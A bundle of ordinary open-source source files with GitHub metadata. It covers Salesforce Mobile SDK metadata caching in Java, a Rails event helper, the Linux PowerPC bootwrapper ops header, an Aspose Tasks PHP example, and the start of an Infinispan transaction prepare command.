return objTypeLayout;
}
}
} catch (IOException e) {
Log.e(TAG, "IOException occurred while reading data", e);
} catch (JSONException e) {
Log.e(TAG, "JSONException occurred while parsing", e);
}
} else if (shouldFallBackOnCache(cachePolicy)) {
if (cachedData != null && cachedData.size() > 0) {
return cachedData.get(0);
}
}
return null;
}
/**
* Returns the color resource associated with an object type.
*
* @param objTypeName Object type name.
* @return Color resource associated with the object type.
*/
public int getColorResourceForObjectType(String objTypeName) {
int color = R.color.record_other;
if (objTypeName == null) {
return color;
}
if (Constants.ACCOUNT.equals(objTypeName)) {
color = R.color.record_account;
} else if (Constants.CONTACT.equals(objTypeName)) {
color = R.color.record_contact;
} else if (Constants.TASK.equals(objTypeName)) {
color = R.color.record_task;
} else if (Constants.CASE.equals(objTypeName)) {
color = R.color.record_case;
} else if (Constants.OPPORTUNITY.equals(objTypeName)) {
color = R.color.record_opportunity;
} else if (Constants.LEAD.equals(objTypeName)) {
color = R.color.record_lead;
} else if (Constants.CAMPAIGN.equals(objTypeName)) {
color = R.color.record_campaign;
}
return color;
}
/**
* Returns the community ID if set, returns null otherwise.
*
* @return Community ID, or null if not set.
*/
public String getCommunityId() {
return communityId;
}
/**
* Sets the community ID. All subsequent calls will query
* only within the given network.
*
* @param communityId ID to use for network aware calls.
*/
public void setCommunityId(String communityId) {
this.communityId = communityId;
}
/**
* Marks an object as viewed on the server.
*
* @param objectId Object ID.
* @param objectType Object type.
* @param networkFieldName Network field name for this object type.
*/
public void markObjectAsViewed(String objectId, String objectType,
String networkFieldName) {
if (objectId == null || objectType == null
|| Constants.EMPTY_STRING.equals(objectId)
|| Constants.EMPTY_STRING.equals(objectType)
|| Constants.CONTENT_VERSION.equals(objectType)
|| Constants.CONTENT.equals(objectType)) {
Log.w(TAG, "Cannot mark object as viewed");
return;
}
final SalesforceObjectType result = loadObjectType(objectType,
CachePolicy.RELOAD_IF_EXPIRED_AND_RETURN_CACHE_DATA,
DEFAULT_METADATA_REFRESH_INTERVAL);
final SOQLBuilder queryBuilder = SOQLBuilder.getInstanceWithFields(Constants.ID).from(objectType);
try {
String whereClause;
if (result != null && isObjectTypeSearchable(result)) {
whereClause = String.format("Id = '%s' FOR VIEW", objectId);
} else {
whereClause = String.format("Id = '%s'", objectId);
}
if (communityId != null && networkFieldName != null) {
whereClause = String.format("%s AND %s = '%s'", whereClause,
networkFieldName, communityId);
}
queryBuilder.where(whereClause);
final String queryString = queryBuilder.build();
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForQuery(apiVersion, queryString));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
if (response != null && response.isSuccess()) {
final JSONObject responseJSON = response.asJSONObject();
if (responseJSON != null) {
final JSONArray records = responseJSON.optJSONArray("records");
if (records == null || records.length() == 0) {
Log.e(TAG, "Failed to mark object " + objectId + " as viewed, since object no longer exists");
}
}
}
} catch (JSONException e) {
Log.e(TAG, "Error occurred while attempting to mark object " + objectId + " as viewed", e);
} catch (IOException e) {
Log.e(TAG, "Error occurred while attempting to mark object " + objectId + " as viewed", e);
}
}
/**
* Returns whether a layout can be loaded for the specified object type.
*
* @param objType Object type.
* @return True - if layout can be loaded, False - otherwise.
*/
private boolean canLoadLayoutForObjectType(SalesforceObjectType objType) {
if (objType == null) {
return false;
}
return (objType.isLayoutable() && objType.isSearchable());
}
/**
* Returns a list of layout fields for the specified object type.
*
* @param type Object type.
* @return List of return fields.
*/
private List<String> getLayoutFieldsForObjectType(SalesforceObjectType type) {
if (type == null) {
return null;
}
final SalesforceObjectTypeLayout layout = getCachedObjectLayout(type);
if (layout == null) {
return null;
}
final List<SalesforceObjectLayoutColumn> columns = layout.getColumns();
if (columns == null || columns.size() == 0) {
return null;
}
final List<String> results = new ArrayList<String>();
for (final SalesforceObjectLayoutColumn col : columns) {
if (col != null) {
final String name = col.getName();
if (name != null && !Constants.EMPTY_STRING.equals(name)) {
results.add(name);
}
}
}
if (results.size() == 0) {
return null;
}
return results;
}
/**
* Returns whether the data should be cached.
*
* @param cachePolicy Cache policy.
* @return True - if the data should be cached, False - otherwise.
*/
private boolean shouldCacheData(CachePolicy cachePolicy) {
return ((cachePolicy != CachePolicy.IGNORE_CACHE_DATA)
&& (cachePolicy != CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD)
&& (cachePolicy != CachePolicy.INVALIDATE_CACHE_DONT_RELOAD));
}
/**
* Caches a list of objects.
*
* @param objects List of objects.
* @param cacheType Cache type.
* @param cacheKey Cache key.
*/
private void cacheObjects(List<SalesforceObject> objects,
String cacheType, String cacheKey) {
if (objects != null && objects.size() > 0 &&
cacheType != null && cacheKey != null) {
cacheManager.writeObjects(objects, cacheKey, cacheType);
}
}
/**
* Caches a list of object types.
*
* @param objectTypes List of object types.
* @param cacheType Cache type.
* @param cacheKey Cache key.
*/
private void cacheObjectTypes(List<SalesforceObjectType> objectTypes,
String cacheType, String cacheKey) {
if (objectTypes != null && objectTypes.size() > 0 &&
cacheType != null && cacheKey != null) {
cacheManager.writeObjectTypes(objectTypes, cacheKey, cacheType);
}
}
/**
* Caches a list of object layouts.
*
* @param objects List of object layouts.
* @param cacheType Cache type.
* @param cacheKey Cache key.
*/
private void cacheObjectLayouts(List<SalesforceObjectTypeLayout> objects,
String cacheType, String cacheKey) {
if (objects != null && objects.size() > 0 &&
cacheType != null && cacheKey != null) {
cacheManager.writeObjectLayouts(objects, cacheKey, cacheType);
}
}
/**
* Returns a list of cached objects.
*
* @param cachePolicy Cache policy.
* @param cacheType Cache type.
* @param cacheKey Cache key.
* @return List of cached objects.
*/
private List<SalesforceObject> getCachedObjects(CachePolicy cachePolicy,
String cacheType, String cacheKey) {
if (cachePolicy == CachePolicy.IGNORE_CACHE_DATA ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
return null;
}
return cacheManager.readObjects(cacheType, cacheKey);
}
/**
* Returns cached metadata for a specific object type.
*
* @param objectTypeName Object type name.
* @return Cached metadata for object type.
*/
private SalesforceObjectType getCachedObjectType(String objectTypeName) {
if (objectTypeName == null || Constants.EMPTY_STRING.equals(objectTypeName)) {
return null;
}
SalesforceObjectType result = null;
final List<SalesforceObjectType> objectTypes = getCachedObjectTypes(CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD,
METADATA_CACHE_TYPE, String.format(OBJECT_BY_TYPE_CACHE_KEY, objectTypeName));
if (objectTypes != null && objectTypes.size() > 0) {
result = objectTypes.get(0);
}
return result;
}
/**
* Returns a list of cached object types.
*
* @param cachePolicy Cache policy.
* @param cacheType Cache type.
* @param cacheKey Cache key.
* @return List of cached object types.
*/
private List<SalesforceObjectType> getCachedObjectTypes(CachePolicy cachePolicy,
String cacheType, String cacheKey) {
if (cachePolicy == CachePolicy.IGNORE_CACHE_DATA ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
return null;
}
return cacheManager.readObjectTypes(cacheType, cacheKey);
}
/**
* Returns cached object layout for a specific object type.
*
* @param objectType Object type.
* @return Cached object layout.
*/
private SalesforceObjectTypeLayout getCachedObjectLayout(SalesforceObjectType objectType) {
if (objectType == null) {
return null;
}
final String objectTypeName = objectType.getName();
if (objectTypeName == null || Constants.EMPTY_STRING.equals(objectTypeName)) {
return null;
}
SalesforceObjectTypeLayout result = null;
final List<SalesforceObjectTypeLayout> objectTypes = getCachedObjectLayouts(CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD,
LAYOUT_CACHE_TYPE, String.format(OBJECT_LAYOUT_BY_TYPE_CACHE_KEY, objectTypeName));
if (objectTypes != null && objectTypes.size() > 0) {
result = objectTypes.get(0);
}
return result;
}
/**
* Returns a list of cached object layouts.
*
* @param cachePolicy Cache policy.
* @param cacheType Cache type.
* @param cacheKey Cache key.
* @return List of cached object layouts.
*/
private List<SalesforceObjectTypeLayout> getCachedObjectLayouts(CachePolicy cachePolicy,
String cacheType, String cacheKey) {
if (cachePolicy == CachePolicy.IGNORE_CACHE_DATA ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_AND_RELOAD ||
cachePolicy == CachePolicy.INVALIDATE_CACHE_DONT_RELOAD) {
return null;
}
return cacheManager.readObjectLayouts(cacheType, cacheKey);
}
/**
* Returns fields for the specified object type.
*
* @param objectTypeName Object type name.
* @return Fields for the object type.
*/
private String getReturnFieldsForObjectType(String objectTypeName) {
if (objectTypeName == null) {
return null;
}
final SalesforceObjectType objectType = getCachedObjectType(objectTypeName);
final List<String> returnFields = new ArrayList<String>();
final List<String> extraValues = getLayoutReturnFieldsForObjectType(objectTypeName);
if (extraValues != null && extraValues.size() > 0) {
for (final String extraValue : extraValues) {
if (extraValue != null && !Constants.EMPTY_STRING.equals(extraValue)) {
returnFields.add(extraValue);
}
}
}
if (!returnFields.contains(Constants.ID)) {
returnFields.add(Constants.ID);
}
if (objectType != null) {
final String nameField = objectType.getNameField();
if (nameField != null && !returnFields.contains(nameField)) {
returnFields.add(nameField);
}
}
final StringBuilder result = new StringBuilder();
result.append(returnFields.get(0));
for (int i = 1; i < returnFields.size(); i++) {
final String resultField = returnFields.get(i);
if (resultField != null && !Constants.EMPTY_STRING.equals(resultField)) {
result.append(",");
result.append(resultField);
}
}
if (Constants.EMPTY_STRING.equals(result.toString())) {
return null;
}
return result.toString();
}
/**
* Loads smart scopes using a REST call.
*
* @param cachePolicy Cache policy.
* @return List of object types.
*/
private List<SalesforceObjectType> loadSmartScopes(CachePolicy cachePolicy) {
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForSearchScopeAndOrder(apiVersion));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
List<SalesforceObjectType> recentItems = new ArrayList<SalesforceObjectType>();
if (response != null && response.isSuccess()) {
try {
final JSONArray responseJSON = response.asJSONArray();
if (responseJSON != null) {
for (int i = 0; i < responseJSON.length(); i++) {
final JSONObject object = responseJSON.optJSONObject(i);
if (object != null) {
final String name = object.optString(Constants.TYPE.toLowerCase(Locale.US));
if (name != null && !Constants.EMPTY_STRING.equals(name)) {
final SalesforceObjectType sfObj = new SalesforceObjectType(name);
if (isObjectTypeSearchable(sfObj)) {
recentItems.add(sfObj);
}
}
}
}
}
} catch (IOException e) {
Log.e(TAG, "IOException occurred while reading data", e);
} catch (JSONException e) {
Log.e(TAG, "JSONException occurred while parsing", e);
}
} else if (shouldFallBackOnCache(cachePolicy)) {
recentItems = getCachedObjectTypes(cachePolicy, MRU_CACHE_TYPE,
SMART_SCOPES_CACHE_KEY);
}
if (shouldCacheData(cachePolicy) && recentItems != null
&& recentItems.size() > 0) {
cacheObjectTypes(recentItems, MRU_CACHE_TYPE,
SMART_SCOPES_CACHE_KEY);
}
return recentItems;
}
/**
* Returns recently viewed objects.
*
* @param objectTypeName Object type name.
* @param globalMRU True - if global MRU, False - otherwise.
* @param limit Limit on number of items.
* @param cachePolicy Cache policy.
* @param cacheKey Cache key.
* @param networkFieldName Network field name for this object type.
* @return List of recently viewed objects.
*/
private List<SalesforceObject> loadRecentObjects(String objectTypeName,
boolean globalMRU, int limit, CachePolicy cachePolicy, String cacheKey,
String networkFieldName) {
final List<SalesforceObject> recentItems = new ArrayList<SalesforceObject>();
SOQLBuilder queryBuilder;
if (globalMRU) {
queryBuilder = SOQLBuilder.getInstanceWithFields("Id, Name, Type");
queryBuilder.from(RECENTLY_VIEWED);
String whereClause = "LastViewedDate != NULL";
if (communityId != null) {
whereClause = String.format("%s AND NetworkId = '%s'",
whereClause, communityId);
}
queryBuilder.where(whereClause);
queryBuilder.limit(limit);
} else {
boolean objContainsLastViewedDate = false;
final SalesforceObjectType objType = loadObjectType(objectTypeName,
CachePolicy.RELOAD_IF_EXPIRED_AND_RETURN_CACHE_DATA,
DEFAULT_METADATA_REFRESH_INTERVAL);
if (objType != null) {
final JSONArray fields = objType.getFields();
if (fields != null) {
for (int i = 0; i < fields.length(); i++) {
final JSONObject obj = fields.optJSONObject(i);
if (obj != null) {
final String nameField = obj.optString(Constants.NAME.toLowerCase(Locale.US));
if (nameField != null && "LastViewedDate".equals(nameField)) {
objContainsLastViewedDate = true;
}
}
}
}
}
final String retFields = getReturnFieldsForObjectType(objectTypeName);
if (retFields != null && !Constants.EMPTY_STRING.equals(retFields)) {
queryBuilder = SOQLBuilder.getInstanceWithFields(retFields);
} else {
queryBuilder = SOQLBuilder.getInstanceWithFields("Id, Name, Type");
}
String whereClause;
if (objContainsLastViewedDate) {
/*
* TODO: This should be replaced with 'using SCOPE MRU'
* in 'v32.0'.
*/
queryBuilder.from(String.format("%s using MRU", objectTypeName));
whereClause = "LastViewedDate != NULL";
queryBuilder.orderBy("LastViewedDate DESC");
queryBuilder.limit(limit);
} else {
queryBuilder.from(RECENTLY_VIEWED);
whereClause = String.format("LastViewedDate != NULL and Type = '%s'", objectTypeName);
queryBuilder.limit(limit);
}
if (communityId != null) {
if (networkFieldName != null) {
whereClause = String.format("%s AND %s = '%s'",
whereClause, networkFieldName, communityId);
}
}
queryBuilder.where(whereClause);
}
final String query = queryBuilder.build();
RestResponse response = null;
try {
response = restClient.sendSync(RestRequest.getRequestForQuery(apiVersion, query));
} catch(IOException e) {
Log.e(TAG, "IOException occurred while sending request", e);
}
if (response != null && response.isSuccess()) {
try {
final JSONObject responseJSON = response.asJSONObject();
if (responseJSON != null) {
final JSONArray records = responseJSON.optJSONArray("records");
if (records != null) {
for (int i = 0; i < records.length(); i++) {
final JSONObject rec = records.optJSONObject(i);
if (rec != null) {
final SalesforceObject sfObj = new SalesforceObject(rec);
if (globalMRU) {
if (sfObj != null && sfObj.getObjectType() != null
&& sfObj.getObjectType().equals(Constants.CONTENT)) {
sfObj.setObjectType(Constants.CONTENT_VERSION);
}
} else {
String sfObjName = null;
if (sfObj != null) {
sfObj.setObjectType(objectTypeName);
sfObjName = sfObj.getName();
}
if (sfObjName == null || Constants.EMPTY_STRING.equals(sfObjName)
|| Constants.NULL_STRING.equals(sfObjName)) {
final SalesforceObjectType objType = getCachedObjectType(objectTypeName);
if (objType != null) {
final String nameField = objType.getNameField();
if (nameField != null && !Constants.EMPTY_STRING.equals(nameField)) {
final String scopedName = rec.optString(nameField);
if (sfObj != null && scopedName != null) {
sfObj.setName(scopedName);
}
}
}
}
}
recentItems.add(sfObj);
}
}
}
}
} catch (IOException e) {
Log.e(TAG, "IOException occurred while reading data", e);
} catch (JSONException e) {
Log.e(TAG, "JSONException occurred while parsing", e);
}
if (recentItems.size() > 0) {
if (shouldCacheData(cachePolicy)) {
cacheObjects(recentItems, MRU_CACHE_TYPE, cacheKey);
}
return recentItems;
}
} else if (shouldFallBackOnCache(cachePolicy)) {
return getCachedObjects(cachePolicy, MRU_CACHE_TYPE, cacheKey);
}
return null;
}
/**
* Returns the return fields for the object type specified
* in the object layout, if a layout exists for this object type.
*
* @param objTypeName Object type name.
* @return Layout return fields for the object type.
*/
private List<String> getLayoutReturnFieldsForObjectType(String objTypeName) {
if (objTypeName == null || Constants.EMPTY_STRING.equals(objTypeName)) {
return null;
}
List<String> results = null;
SalesforceObjectType objType = getCachedObjectType(objTypeName);
if (objType == null) {
objType = loadObjectType(objTypeName,
CachePolicy.RELOAD_IF_EXPIRED_AND_RETURN_CACHE_DATA,
DEFAULT_METADATA_REFRESH_INTERVAL);
}
if (objType != null && canLoadLayoutForObjectType(objType)) {
results = getLayoutFieldsForObjectType(objType);
}
return results;
}
/**
* Returns whether a method should fall back on cached data or return the
* empty data set from the server, in the event that a server error occurs
* or we do not receive a response from the server, for reasons such as loss
* of connectivity, for instance.
*
* @param cachePolicy Cache policy.
* @return True - if we should fall back on cached data, False - otherwise.
*/
private boolean shouldFallBackOnCache(CachePolicy cachePolicy) {
return (cachePolicy == CachePolicy.RELOAD_AND_RETURN_CACHE_DATA
|| cachePolicy == CachePolicy.RELOAD_AND_RETURN_CACHE_ON_FAILURE
|| cachePolicy == CachePolicy.RETURN_CACHE_DATA_DONT_RELOAD
|| cachePolicy == CachePolicy.RELOAD_IF_EXPIRED_AND_RETURN_CACHE_DATA);
}
}
| {
"content_hash": "7ae9859b7e6f083e9dcd376756d2001e",
"timestamp": "",
"source": "github",
"line_count": 1196,
"max_line_length": 143,
"avg_line_length": 41.718227424749166,
"alnum_prop": 0.5834051508167151,
"repo_name": "kchitalia/SalesforceMobileSDK-Android",
"id": "e8f66f4630fbc5ecd89a452f1d5c06d0a265389a",
"size": "51495",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "libs/SmartSync/src/com/salesforce/androidsdk/smartsync/manager/MetadataManager.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Java",
"bytes": "1807607"
},
{
"name": "JavaScript",
"bytes": "55223"
},
{
"name": "Shell",
"bytes": "2530"
},
{
"name": "Visual Basic",
"bytes": "6778"
}
],
"symlink_target": ""
} |
module EventsHelper
# フォームのURL
def form_url
if params[:action] == 'edit'
return { action: :update, id: @event.id, admin_token: @event.admin_token }
else
return { action: :create }
end
end
# イベント削除リンク
def link_to_destroy_event(label='このイベントを削除する',
html_options={}
)
link_to_if current_user && @event.owner_user_id == current_user.id,
label, event_path(@event),
{
method: :delete,
confirm: "本当に削除しますか?(ユーザからの参加登録も同時に削除されます)"
}.merge!(html_options)
end
def link_to_edit_event(label='このイベントを編集する', html_options={})
link_to label, edit_event_path(@event, admin_token: @event.admin_token),
html_options
end
end
| {
"content_hash": "2eb62d628fca257e543eeec2c3ad5763",
"timestamp": "",
"source": "github",
"line_count": 27,
"max_line_length": 80,
"avg_line_length": 25.814814814814813,
"alnum_prop": 0.6327116212338594,
"repo_name": "kosenconf/conf-in",
"id": "0645bb78b7427f7d75d90e05e57a3e6ca203b79c",
"size": "849",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "app/helpers/events_helper.rb",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "CSS",
"bytes": "15667"
},
{
"name": "JavaScript",
"bytes": "47498"
},
{
"name": "Ruby",
"bytes": "70546"
}
],
"symlink_target": ""
} |
/*
* Global definition of all the bootwrapper operations.
*
* Author: Mark A. Greer <mgreer@mvista.com>
*
* 2006 (c) MontaVista Software, Inc. This file is licensed under
* the terms of the GNU General Public License version 2. This program
* is licensed "as is" without any warranty of any kind, whether express
* or implied.
*/
#ifndef _PPC_BOOT_OPS_H_
#define _PPC_BOOT_OPS_H_
#include <stddef.h>
#include "types.h"
#include "string.h"
#define BOOT_COMMAND_LINE_SIZE 2048
#define MAX_PATH_LEN 256
#define MAX_PROP_LEN 256 /* What should this be? */
typedef void (*kernel_entry_t)(unsigned long r3, unsigned long r4, void *r5);
/* Platform specific operations */
struct platform_ops {
void (*fixups)(void);
void (*image_hdr)(const void *);
void * (*malloc)(unsigned long size);
void (*free)(void *ptr);
void * (*realloc)(void *ptr, unsigned long size);
void (*exit)(void);
void * (*vmlinux_alloc)(unsigned long size);
};
extern struct platform_ops platform_ops;
/* Device Tree operations */
struct dt_ops {
void * (*finddevice)(const char *name);
int (*getprop)(const void *phandle, const char *name, void *buf,
const int buflen);
int (*setprop)(const void *phandle, const char *name,
const void *buf, const int buflen);
int (*del_node)(const void *phandle);
void *(*get_parent)(const void *phandle);
/* The node must not already exist. */
void *(*create_node)(const void *parent, const char *name);
void *(*find_node_by_prop_value)(const void *prev,
const char *propname,
const char *propval, int proplen);
void *(*find_node_by_compatible)(const void *prev,
const char *compat);
unsigned long (*finalize)(void);
char *(*get_path)(const void *phandle, char *buf, int len);
};
extern struct dt_ops dt_ops;
/* Console operations */
struct console_ops {
int (*open)(void);
void (*write)(const char *buf, int len);
void (*edit_cmdline)(char *buf, int len, unsigned int getline_timeout);
void (*close)(void);
void *data;
};
extern struct console_ops console_ops;
/* Serial console operations */
struct serial_console_data {
int (*open)(void);
void (*putc)(unsigned char c);
unsigned char (*getc)(void);
u8 (*tstc)(void);
void (*close)(void);
};
struct loader_info {
void *promptr;
unsigned long initrd_addr, initrd_size;
char *cmdline;
int cmdline_len;
};
extern struct loader_info loader_info;
void start(void);
void fdt_init(void *blob);
int serial_console_init(void);
int ns16550_console_init(void *devp, struct serial_console_data *scdp);
int mpsc_console_init(void *devp, struct serial_console_data *scdp);
int cpm_console_init(void *devp, struct serial_console_data *scdp);
int mpc5200_psc_console_init(void *devp, struct serial_console_data *scdp);
int uartlite_console_init(void *devp, struct serial_console_data *scdp);
void *simple_alloc_init(char *base, unsigned long heap_size,
unsigned long granularity, unsigned long max_allocs);
extern void flush_cache(void *, unsigned long);
int dt_xlate_reg(void *node, int res, unsigned long *addr, unsigned long *size);
int dt_xlate_addr(void *node, u32 *buf, int buflen, unsigned long *xlated_addr);
int dt_is_compatible(void *node, const char *compat);
void dt_get_reg_format(void *node, u32 *naddr, u32 *nsize);
int dt_get_virtual_reg(void *node, void **addr, int nres);
static inline void *finddevice(const char *name)
{
return (dt_ops.finddevice) ? dt_ops.finddevice(name) : NULL;
}
static inline int getprop(void *devp, const char *name, void *buf, int buflen)
{
return (dt_ops.getprop) ? dt_ops.getprop(devp, name, buf, buflen) : -1;
}
static inline int setprop(void *devp, const char *name,
const void *buf, int buflen)
{
return (dt_ops.setprop) ? dt_ops.setprop(devp, name, buf, buflen) : -1;
}
#define setprop_val(devp, name, val) \
do { \
typeof(val) x = (val); \
setprop((devp), (name), &x, sizeof(x)); \
} while (0)
static inline int setprop_str(void *devp, const char *name, const char *buf)
{
if (dt_ops.setprop)
return dt_ops.setprop(devp, name, buf, strlen(buf) + 1);
return -1;
}
static inline int del_node(const void *devp)
{
return dt_ops.del_node ? dt_ops.del_node(devp) : -1;
}
static inline void *get_parent(const char *devp)
{
return dt_ops.get_parent ? dt_ops.get_parent(devp) : NULL;
}
static inline void *create_node(const void *parent, const char *name)
{
return dt_ops.create_node ? dt_ops.create_node(parent, name) : NULL;
}
static inline void *find_node_by_prop_value(const void *prev,
const char *propname,
const char *propval, int proplen)
{
if (dt_ops.find_node_by_prop_value)
return dt_ops.find_node_by_prop_value(prev, propname,
propval, proplen);
return NULL;
}
static inline void *find_node_by_prop_value_str(const void *prev,
const char *propname,
const char *propval)
{
return find_node_by_prop_value(prev, propname, propval,
strlen(propval) + 1);
}
static inline void *find_node_by_devtype(const void *prev,
const char *type)
{
return find_node_by_prop_value_str(prev, "device_type", type);
}
static inline void *find_node_by_alias(const char *alias)
{
void *devp = finddevice("/aliases");
if (devp) {
char path[MAX_PATH_LEN];
if (getprop(devp, alias, path, MAX_PATH_LEN) > 0)
return finddevice(path);
}
return NULL;
}
static inline void *find_node_by_compatible(const void *prev,
const char *compat)
{
if (dt_ops.find_node_by_compatible)
return dt_ops.find_node_by_compatible(prev, compat);
return NULL;
}
void dt_fixup_memory(u64 start, u64 size);
void dt_fixup_cpu_clocks(u32 cpufreq, u32 tbfreq, u32 busfreq);
void dt_fixup_clock(const char *path, u32 freq);
void dt_fixup_mac_address_by_alias(const char *alias, const u8 *addr);
void dt_fixup_mac_address(u32 index, const u8 *addr);
void __dt_fixup_mac_addresses(u32 startindex, ...);
#define dt_fixup_mac_addresses(...) \
__dt_fixup_mac_addresses(0, __VA_ARGS__, NULL)
static inline void *find_node_by_linuxphandle(const u32 linuxphandle)
{
return find_node_by_prop_value(NULL, "linux,phandle",
(char *)&linuxphandle, sizeof(u32));
}
static inline char *get_path(const void *phandle, char *buf, int len)
{
if (dt_ops.get_path)
return dt_ops.get_path(phandle, buf, len);
return NULL;
}
static inline void *malloc(unsigned long size)
{
return (platform_ops.malloc) ? platform_ops.malloc(size) : NULL;
}
static inline void free(void *ptr)
{
if (platform_ops.free)
platform_ops.free(ptr);
}
static inline void exit(void)
{
if (platform_ops.exit)
platform_ops.exit();
for(;;);
}
#define fatal(args...) { printf(args); exit(); }
#define BSS_STACK(size) \
static char _bss_stack[size]; \
void *_platform_stack_top = _bss_stack + sizeof(_bss_stack);
extern unsigned long timebase_period_ns;
void udelay(long delay);
extern char _start[];
extern char __bss_start[];
extern char _end[];
extern char _vmlinux_start[];
extern char _vmlinux_end[];
extern char _initrd_start[];
extern char _initrd_end[];
extern char _dtb_start[];
extern char _dtb_end[];
static inline __attribute__((const))
int __ilog2_u32(u32 n)
{
int bit;
asm ("cntlzw %0,%1" : "=r" (bit) : "r" (n));
return 31 - bit;
}
#endif /* _PPC_BOOT_OPS_H_ */
| {
"content_hash": "40ee14ed5eb64c5ff502ef17c40a0d3e",
"timestamp": "",
"source": "github",
"line_count": 262,
"max_line_length": 80,
"avg_line_length": 28.931297709923665,
"alnum_prop": 0.653957783641161,
"repo_name": "publicloudapp/csrutil",
"id": "5e75e1c5518e8a986dd9bce6b43a2b564112e120",
"size": "7580",
"binary": false,
"copies": "1101",
"ref": "refs/heads/master",
"path": "linux-4.3/arch/powerpc/boot/ops.h",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Assembly",
"bytes": "3984"
},
{
"name": "Awk",
"bytes": "29136"
},
{
"name": "C",
"bytes": "532969471"
},
{
"name": "C++",
"bytes": "3352303"
},
{
"name": "Clojure",
"bytes": "1489"
},
{
"name": "Cucumber",
"bytes": "4701"
},
{
"name": "Groff",
"bytes": "46775"
},
{
"name": "Lex",
"bytes": "55199"
},
{
"name": "Makefile",
"bytes": "1576284"
},
{
"name": "Objective-C",
"bytes": "521540"
},
{
"name": "Perl",
"bytes": "715196"
},
{
"name": "Perl6",
"bytes": "3783"
},
{
"name": "Python",
"bytes": "273092"
},
{
"name": "Shell",
"bytes": "343618"
},
{
"name": "SourcePawn",
"bytes": "4687"
},
{
"name": "UnrealScript",
"bytes": "12797"
},
{
"name": "XS",
"bytes": "1239"
},
{
"name": "Yacc",
"bytes": "114559"
}
],
"symlink_target": ""
} |
<?php
require_once realpath(__DIR__ . '/..') . '/vendor/autoload.php';
require_once realpath(__DIR__ . '/..') . '/Utils.php';
use Aspose\Tasks\TasksApi;
use Aspose\Tasks\AsposeApp;
class Calendars {
public $tasksApi;
public function __construct() {
AsposeApp::$appSID = Utils::appSID;
AsposeApp::$apiKey = Utils::apiKey;
$this->tasksApi = new TasksApi();
}
public function getCalendarExceptions() {
$name = 'sample-project.mpp';
Utils::uploadFile($name);
$result = $this->tasksApi->GetCalendarExceptions($name, $calendarUid = 1, $storage = null, $folder = null);
print_r($result);
}
}
$calendars = new Calendars();
$calendars->getCalendarExceptions();
?>
//ExEnd:
| {
"content_hash": "abdd99f33d1b6a12b1f7acb90df6045e",
"timestamp": "",
"source": "github",
"line_count": 30,
"max_line_length": 109,
"avg_line_length": 23,
"alnum_prop": 0.6681159420289855,
"repo_name": "asposetasks/Aspose_Tasks_Cloud",
"id": "29d6cf600ace6e84e6c608c53802b3196c210240",
"size": "701",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "Examples/PHP/Calendars/GetCalendarExceptions.php",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "203"
},
{
"name": "C#",
"bytes": "369114"
},
{
"name": "Java",
"bytes": "530694"
},
{
"name": "JavaScript",
"bytes": "243643"
},
{
"name": "Objective-C",
"bytes": "394199"
},
{
"name": "PHP",
"bytes": "224405"
},
{
"name": "Python",
"bytes": "322562"
},
{
"name": "Ruby",
"bytes": "364042"
}
],
"symlink_target": ""
} |
package org.infinispan.commands.tx;
import org.infinispan.commands.Visitor;
import org.infinispan.commands.write.ApplyDeltaCommand;
import org.infinispan.commands.write.ClearCommand;
import org.infinispan.commands.write.DataWriteCommand;
import org.infinispan.commands.write.PutKeyValueCommand;
import org.infinispan.commands.write.PutMapCommand;
import org.infinispan.commands.write.RemoveCommand;
import org.infinispan.commands.write.ReplaceCommand;
import org.infinispan.commands.write.WriteCommand;
import org.infinispan.commons.hash.Hash;
import org.infinispan.commons.hash.MurmurHash3;
import org.infinispan.context.InvocationContext;
import org.infinispan.context.impl.RemoteTxInvocationContext;
import org.infinispan.context.impl.TxInvocationContext;
import org.infinispan.notifications.cachelistener.CacheNotifier;
import org.infinispan.transaction.RemoteTransaction;
import org.infinispan.transaction.xa.GlobalTransaction;
import org.infinispan.transaction.xa.recovery.RecoveryManager;
import org.infinispan.util.InfinispanCollections;
import org.infinispan.util.TimSort;
import org.infinispan.util.logging.Log;
import org.infinispan.util.logging.LogFactory;
import java.util.Arrays;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
* Command corresponding to the 1st phase of 2PC.
*
* @author Manik Surtani (<a href="mailto:manik@jboss.org">manik@jboss.org</a>)
* @author Mircea.Markus@jboss.com
* @since 4.0
*/
public class PrepareCommand extends AbstractTransactionBoundaryCommand {
private static final Log log = LogFactory.getLog(PrepareCommand.class);
private boolean trace = log.isTraceEnabled();
public static final byte COMMAND_ID = 12;
protected WriteCommand[] modifications;
protected boolean onePhaseCommit;
protected CacheNotifier notifier;
protected RecoveryManager recoveryManager;
private transient boolean replayEntryWrapping = false;
private static final WriteCommand[] EMPTY_WRITE_COMMAND_ARRAY = new WriteCommand[0];
private static final Object[] EMPTY_ARRAY = new Object[0];
public static final Comparator<Object> KEY_COMPARATOR = new Comparator<Object>() {
private final Hash hash = new MurmurHash3();
@Override
public int compare(Object o1, Object o2) {
return Integer.valueOf(hash.hash(o1)).compareTo(hash.hash(o2));
}
};
private transient boolean wasInvoked;
public void initialize(CacheNotifier notifier, RecoveryManager recoveryManager) {
this.notifier = notifier;
this.recoveryManager = recoveryManager;
}
private PrepareCommand() {
super(null); // For command id uniqueness test
}
public PrepareCommand(String cacheName, GlobalTransaction gtx, boolean onePhaseCommit, WriteCommand... modifications) {
super(cacheName);
